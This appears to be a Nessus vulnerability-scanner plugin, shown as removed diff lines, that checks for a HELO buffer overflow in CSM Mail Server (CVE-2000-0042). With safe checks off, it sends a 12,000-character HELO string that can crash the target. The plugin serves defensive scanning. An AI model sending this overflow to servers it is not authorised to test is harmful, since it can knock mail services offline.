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- #
- # This script was written by Renaud Deraison <deraison@cvs.nessus.org>
- #
- # See the Nessus Scripts License for details
- #
-
- if(description)
- {
- script_id(10050);
- script_bugtraq_id(895);
- script_version ("$Revision: 1.21 $");
- script_cve_id("CVE-2000-0042");
- name["english"] = "CSM Mail server MTA 'HELO' denial";
- name["francais"] = "DΘni de service 'HELO' contre le MTA CSM Mail server";
- script_name(english:name["english"], francais:name["francais"]);
-
- desc["english"] = "
- There might be a buffer overflow when this MTA is issued the 'HELO' command
- issued by a too long argument (12,000 chars)
-
- This problem may allow an attacker to execute arbitrary code on this computer,
- or to disable your ability to send or receive emails.
-
- Solution : contact your vendor for a patch.
- Risk factor : High";
-
-
-
- script_description(english:desc["english"]);
-
- summary["english"] = "Overflows the remote SMTP server";
- summary["francais"] = "Overflow le serveur SMTP distant";
- script_summary(english:summary["english"], francais:summary["francais"]);
-
- script_category(ACT_MIXED_ATTACK); # mixed
-
-
- script_copyright(english:"This script is Copyright (C) 1999 Renaud Deraison",
- francais:"Ce script est Copyright (C) 1999 Renaud Deraison");
- family["english"] = "SMTP problems";
- family["francais"] = "ProblΦmes SMTP";
- script_family(english:family["english"], francais:family["francais"]);
- script_dependencie("find_service.nes", "smtpserver_detect.nasl", "slmail_helo.nasl");
- script_exclude_keys("SMTP/wrapped","SMTP/3comnbx", "SMTP/postfix");
- script_require_ports("Services/smtp", 25);
- exit(0);
- }
-
- #
- # The script code starts here
- #
-
- include("smtp_func.inc");
-
- port = get_kb_item("Services/smtp");
- if(!port)port = 25;
-
- if(get_kb_item("SMTP/3comnbx"))exit(0);
-
- if(safe_checks())
- {
- banner = get_smtp_banner(port:port);
- if(banner)
- {
- if(egrep(string:banner,
- pattern:"^220 SMTP CSM Mail Server ready at .* .Version 2000.0[1-8].A"))
- {
- alrt = "
- The remote CSM SMTP server may be vulnerable
- to a buffer overflow allowing anyone to
- execute arbitrary commands on this host.
-
- *** Nessus reports this vulnerability using only
- *** information that was gathered. Use caution
- *** when testing without safe checks enabled.
-
- Solution : upgrade to the latest version
- Risk factor : High";
- security_hole(port:port, data:alrt);
- }
- }
- exit(0);
- }
-
-
- if(get_port_state(port))
- {
- key = get_kb_item(string("SMTP/", port, "/helo_overflow"));
- if(key)exit(0);
- soc = open_sock_tcp(port);
- if(soc)
- {
- s = smtp_recv_banner(socket:soc);
- if(!("220 " >< s)){
- close(soc);
- exit(0);
- }
- c = string("HELO ", crap(12000), "\r\n");
- send(socket:soc, data:c);
- s = recv_line(socket:soc, length:1024);
- if(!s)
- {
- close(soc);
- soc = open_sock_tcp(port);
- if(soc) s = smtp_recv_banner(socket:soc);
- else s = NULL;
-
- if(!s) security_hole(port);
- close(soc);
- }
- }
- }
-